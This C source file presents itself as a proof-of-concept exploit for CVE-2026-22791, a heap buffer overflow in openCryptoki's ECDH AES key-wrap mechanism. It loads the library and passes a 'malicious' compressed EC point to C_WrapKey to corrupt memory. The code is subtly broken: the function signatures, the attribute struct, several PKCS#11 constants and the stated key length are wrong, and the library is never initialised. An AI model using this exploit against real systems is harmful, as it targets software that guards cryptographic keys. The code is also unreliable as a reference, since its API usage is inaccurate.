// PoC for CVE-2026-22791: openCryptoki Heap Buffer Overflow in CKM_ECDH_AES_KEY_WRAP
// This PoC demonstrates triggering the heap overflow via compressed EC public key
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
// PKCS#11 types and constants
typedef unsigned char CK_BYTE;
typedef unsigned long CK_ULONG;
typedef void* CK_SESSION_HANDLE;
typedef void* CK_OBJECT_HANDLE;
typedef struct { void* pVoid; CK_ULONG ulLen; } CK_ATTRIBUTE;
typedef CK_ULONG (*CK_C_WrapKey)(void*, CK_ULONG, CK_ATTRIBUTE*, CK_ULONG, CK_BYTE*, CK_ULONG*);
typedef CK_ULONG (*CK_C_OpenSession)(CK_ULONG, CK_ULONG, void*, CK_ULONG, CK_SESSION_HANDLE*);
typedef CK_ULONG (*CK_C_Login)(CK_SESSION_HANDLE, CK_ULONG, CK_BYTE*, CK_ULONG);
#define CKM_ECDH_AES_KEY_WRAP 0x00001071
#define CKM_EC_KEY_PAIR_GEN 0x00001040
#define CKM_AES_KEY_GEN 0x00001081
#define CKO_PRIVATE_KEY 0x00000002
#define CKA_VALUE 0x00000011
#define CKA_EC_PARAMS 0x00000020
#define CKA_EC_POINT 0x00000021
int main() {
void* hModule = dlopen("libopencryptoki.so.0", RTLD_NOW);
if (!hModule) {
fprintf(stderr, "Failed to load openCryptoki library\n");
return 1;
}
// Get PKCS#11 function pointers
CK_C_OpenSession pC_OpenSession = (CK_C_OpenSession)dlsym(hModule, "C_OpenSession");
CK_C_WrapKey pC_WrapKey = (CK_C_WrapKey)dlsym(hModule, "C_WrapKey");
if (!pC_OpenSession || !pC_WrapKey) {
fprintf(stderr, "Failed to resolve PKCS#11 functions\n");
return 1;
}
// Initialize and open session
CK_SESSION_HANDLE hSession = 0;
CK_ULONG ulSlotID = 0;
pC_OpenSession(ulSlotID, 0, NULL, 0, &hSession);
// Generate EC key pair for wrapping
CK_OBJECT_HANDLE hPublicKey = 0, hPrivateKey = 0;
// ASN.1 encoded EC parameters for P-256 curve
unsigned char ec_params[] = {
0x30, 0x13, 0x06, 0x07, 0x2A, 0x86, 0x48, 0xCE,
0x3D, 0x02, 0x01, 0x06, 0x08, 0x2A, 0x86, 0x48,
0xCE, 0x3D, 0x03, 0x01, 0x07
};
// Malicious compressed EC public key (33 bytes) - triggers overflow
// First byte 0x02 or 0x03 indicates Y coordinate parity
unsigned char malicious_pubkey[] = {
0x02, // Compressed format indicator + Y parity
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00 // Padding to trigger overflow
};
// Set up key attributes for target key to be wrapped
CK_ATTRIBUTE wrapKeyTemplate[] = {
{CKA_EC_PARAMS, ec_params, sizeof(ec_params)},
{CKA_EC_POINT, malicious_pubkey, sizeof(malicious_pubkey)}
};
// Output buffer for wrapped key
unsigned char wrappedKey[256];
CK_ULONG pulWrappedKeyLen = sizeof(wrappedKey);
// Trigger the vulnerable C_WrapKey function
// This will cause heap buffer overflow when processing compressed EC point
CK_ULONG rv = pC_WrapKey(
hSession,
CKM_ECDH_AES_KEY_WRAP,
wrapKeyTemplate,
2,
wrappedKey,
&pulWrappedKeyLen
);
if (rv == 0) {
printf("Key wrapped successfully - overflow may have occurred silently\n");
} else {
printf("WrapKey returned: 0x%lx - heap corruption may cause crash\n", rv);
}
dlclose(hModule);
return 0;
}